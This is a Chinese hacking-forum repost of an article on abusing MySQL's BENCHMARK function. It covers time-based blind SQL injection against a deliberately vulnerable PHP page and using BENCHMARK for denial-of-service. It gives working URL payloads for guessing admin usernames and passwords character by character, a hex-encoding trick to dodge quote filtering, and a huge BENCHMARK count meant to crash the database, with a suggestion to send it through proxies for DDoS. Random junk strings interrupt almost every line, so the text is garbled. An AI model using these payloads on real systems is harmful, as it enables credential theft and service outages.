中国网络渗透测试联盟
标题:
MYSQL中BENCHMARK函数的利用
[打印本页]
作者:
admin
时间:
2012-9-15 14:03
标题:
MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
* e* y* Y4 W! v7 `0 S; @: P
本文作者:SuperHei
5 @/ s8 k' Z/ p& o7 i8 K* J4 E
文章性质:原创
/ r4 M& @, |( t8 Z a. V4 f+ P
发布日期:2005-01-02
/ D) w! V6 U$ C. V
完成日期:2004-07-09
8 {6 E4 Z! c. z; I9 \" B
第一部
! J; c' Q V5 a- S4 A
" ]4 q( e b! s2 u" B3 a
利用时间推延进行注射---BENCHMARK函数在注射中的利用
( a( s+ [" W% Z7 u# j. T
+ V3 R# |9 y7 P6 M1 }# | Z3 L
一.前言/思路
/ p: @) u. L8 ^
( B6 n( _ ?; o. p0 ]& R
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
7 g+ S$ \+ x0 c Z
, u/ A" P& H3 r5 G- E( d2 x
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
( p* ?* a2 c7 E* w$ F( ^
* [/ P) ~$ Q# U
二.关于BENCHMARK函数
j B+ l% M( i! x# q: p8 ?
4 u( U3 I( a0 X% E I1 j
在MySQL参考手册里可以看到如下描叙:
. Z: b3 c" K0 [ j! c M J
) B3 Q* z2 } y! T" i7 g9 Z
0 _; V; U. H. v7 O) R2 a5 s
--------------------------------------------------------------------------------
. @& N$ J0 E3 Q/ v7 U
, Y4 b6 w- @; Q! X2 ^
BENCHMARK(count,expr)
7 _, _, x7 ?+ \$ T2 r3 Y
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
/ N% K4 @' M# X/ x8 O( Y( D
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
! k [- o$ _2 d- L* K" F
+----------------------------------------------+
+ E! t- m ~% ]% E$ i/ N7 W) b
| BENCHMARK(1000000,encode("hello","goodbye")) |
$ U6 n7 p% y) e
+----------------------------------------------+
* f' i7 x# Z: Z: A3 i
| 0 |
$ R. f9 W, U9 w0 d+ S6 S
+----------------------------------------------+
/ t. Y9 d# z2 M& v3 S, u" C4 p. ?$ d: r7 i
1 row in set (4.74 sec)
2 o1 l8 h2 r, O2 ^& ]
- R4 P, T# K- O; z$ n
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
1 A+ V7 o) q3 ^5 U% M$ N$ M
( F2 ]1 K3 p/ e [) h6 t
: X: H- K2 j; E! [7 F0 J3 V/ C7 u
--------------------------------------------------------------------------------
- a( U' @# X4 r5 I* W9 g
! H$ G# ?7 x& @% I x! `
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
0 [. j: P3 ?4 t) Y1 {7 k d
7 I: Q3 A* K7 C
mysql> select md5( 'test' );
& K% N. ^+ g+ Z* y
+----------------------------------+
% G+ d6 ^) E) N# z0 `0 b; |
| md5( 'test' ) |
& {" ]8 v' i b# \0 P |& l6 N' G# q
+----------------------------------+
5 f7 y. u. ?/ Q, l* j3 A
| 098f6bcd4621d373cade4e832627b4f6 |
. j, K7 ~7 F4 o* Y0 O! G$ l# u
+----------------------------------+
" c& z, F) u' Q$ j, t4 u' {9 c
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
) u( ]8 i) ~' S ]' x9 W
$ ~3 e0 h/ e- i V2 N0 K6 {
mysql> select benchmark( 500000, md5( 'test' ) );
/ i- o1 r# m; k. k' G
+------------------------------------+
! v5 b; b* w+ }7 t9 H- Z
| benchmark( 500000, md5( 'test' ) ) |
2 ^) u, t3 f8 f, e7 h
+------------------------------------+
- _" \, `& t0 U+ t* E: m6 \7 b
| 0 |
. W, \8 j7 k4 V3 |; G) [) c1 {
+------------------------------------+
: o, Z, k/ k4 R8 H
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
( P; _* R6 Y+ i7 `; a; K6 ^4 n
2 }9 z$ s( B" j* j
: r8 }. T1 d/ ~
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
' J+ b* i, k4 |2 m h& b
1 y7 q, ]. {" N, ~& ?
三.具体例子
! S) J* X+ S# O% {6 I; i
3 b+ V9 M# o7 Q" G* H3 J/ E
首先我们看个简单的php代码:
: d. v% y2 U1 N- J; ?3 A: ^ T6 `& z
( w3 Y" x) ^& Y+ D4 [5 G
< ?php
# H6 S' [9 q& q$ {- o5 P* l2 p' ?
$servername = "localhost";
_ F$ h1 J" O8 x9 {
$dbusername = "root";
; ]- p, y Y& t, ]1 S& ]9 O
$dbpassword = "";
9 k+ o8 F# J# ~. {
$dbname = "injection";
/ n9 T$ Y# v" z/ h
* O' T/ }/ f% g# K" F* \& Y
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
" O' ? d: u% l7 Z, f' J
0 ~: x0 m& X) n8 ~2 i
$sql = "SELECT * FROM article WHERE articleid=$id";
* p: P$ a# r( F) b
$result = mysql_db_query($dbname,$sql);
3 o0 u# @: n6 G$ f, I
$row = mysql_fetch_array($result);
: `2 i& D) a$ {' ?) c9 r) k
5 Q7 P8 S& G4 I9 V0 |% v- W
if (!$row)
, V F# B) y* U. m% q6 P3 Y( t
{
8 K/ g5 W/ ~2 D) e
exit;
5 `. c6 U% C4 F* n# Q0 w, x
}
" g4 G8 [# @" U( [
?>
4 f/ [! c/ J* |8 @' C9 S% `
2 C1 a( l+ z o/ P1 J' g% q
- E- z+ n& F9 Y2 X2 p" j7 t
数据库injection结构和内容如下:
2 n* y+ \" D ~4 c' l v- C
4 l& w" g& V* f
# 数据库 : `injection`
5 J0 B" S% C* X: i5 J
#
8 g* s2 \+ d. V% f) @
4 y1 c3 A1 ` @7 }7 }2 x8 u1 j9 w4 ]- d! _9 i
# --------------------------------------------------------
. O# U- P1 { R x: n
! b% d. u* H# s9 Z( b4 m; ^1 [
#
# l/ O0 H: f3 n9 o$ P3 z
# 表的结构 `article`
' H# _! {( k, J/ z
#
% g, L1 D- f. p+ c( ^7 P6 s
1 K! \- ~ H4 K
CREATE TABLE `article` (
6 l; X; w+ y, ?/ ~) e& w) g
`articleid` int(11) NOT NULL auto_increment,
6 ]7 `) p1 l3 ^# _- v# O
`title` varchar(100) NOT NULL default '',
% }# E, Z+ z3 i5 |- S
`content` text NOT NULL,
1 c& v9 U( |3 |
PRIMARY KEY (`articleid`)
3 ^7 Y$ f2 f& j) x
) TYPE=MyISAM AUTO_INCREMENT=3 ;
9 f4 e. D; |. D( g' |) w
" h! Q' Z( q1 d* G8 d; ?" J* u
#
+ r7 }$ }/ Y. l9 X! n
# 导出表中的数据 `article`
6 [% v8 V+ N- e" l
#
- f# ~/ r- ?& B1 s [
( @: G+ l" T9 m: i
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
7 H+ x7 _; d" y) I
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
6 @5 y% z$ d8 k; x( S9 w3 @
! _, s3 _2 F# ]0 L- U- {
# --------------------------------------------------------
' ~! D4 s# n& Y+ A) k6 p2 t
6 o# w! n" m9 {9 B. V/ P
#
2 s* Z+ r+ a3 i( v! i- o8 V
# 表的结构 `user`
( F! B* |8 n9 i( G3 K
#
5 k( Y4 e5 x/ N& `
- X6 h' Z1 h! Z9 x6 w
CREATE TABLE `user` (
1 Z n. S+ ], r5 I- T+ V+ ^" P d
`userid` int(11) NOT NULL auto_increment,
3 B# D2 z8 d _; U# m6 k1 w0 j
`username` varchar(20) NOT NULL default '',
$ Q" @0 U0 Q# ~9 J& `0 s5 _ T
`password` varchar(20) NOT NULL default '',
: T u! ]7 z3 Z6 F k( F# L; s! m# O/ c
PRIMARY KEY (`userid`)
1 p3 D) U. h6 D; R- K
) TYPE=MyISAM AUTO_INCREMENT=3 ;
3 x4 n9 l3 q! Y& b3 b9 U, ^7 C9 k
5 k8 u! u2 Y- g9 B' }/ e
#
. A% g# ~1 ^% X; s
# 导出表中的数据 `user`
) L7 l6 {: i' s* t
#
, ]5 F: l+ s3 r4 M; E
+ U, s! h2 |2 \! {3 s- P, A
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 G* T+ u; X* }% f, [) p
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
. W! [# C s' B8 [3 ?' Y
. M/ z( R/ T' T
9 V4 O$ c; W& c
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
. U: r! R: @4 A+ _( u+ B2 r) v
J' O- K0 S' U3 r K
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
0 e1 r. [+ \4 k) ~& o
& m& D* O9 J1 P. N5 g+ ~
2 K9 _3 E# {9 w, m' X8 ?9 w4 H7 D) T
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
* L! ~# I0 j8 X% d4 P$ I
3 ]0 F* I2 F/ Z
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
; |* P1 L6 G# J/ i ~- S: I
% h" z& s# [/ H q2 Y! w
& [7 I# X, u- A; m s
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
& c* O! K1 U) F3 b
4 ^. g/ Q; K9 ^% f5 K7 c
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
7 ~; Z8 n" s# j2 m+ Y
* h7 i0 \% j; M+ r3 ?! n4 T! k
第二部
4 C0 N* f% h5 s5 Q. D" P1 k) u
. F+ z6 G0 ~: I+ V' \/ _ p8 X2 l
利用BENCHMARK函数进行ddos攻击
8 o" M& K3 f( q6 q5 k0 `8 ?
. J: v) d4 }- f) H1 U h
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
& w/ b( O' e& E9 V
+ S* ~# `% f- I1 E4 j
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,1,benchmark(99999999,md5(0x41))
: S" A/ s5 ]1 @* o' P
9 g/ V4 o# I' b0 ]4 ]
/ A" s+ h! d: Z4 o
小结
7 v+ ^' h# j8 @8 A
# x4 U8 H2 M3 c2 n" e3 o, n$ M
本文主要思路来自
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
# M4 w: T* w; M7 e2 q
( _: |. S2 s: ]5 B+ y5 V
9 X; T% s/ p0 _% x) h) z' H
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2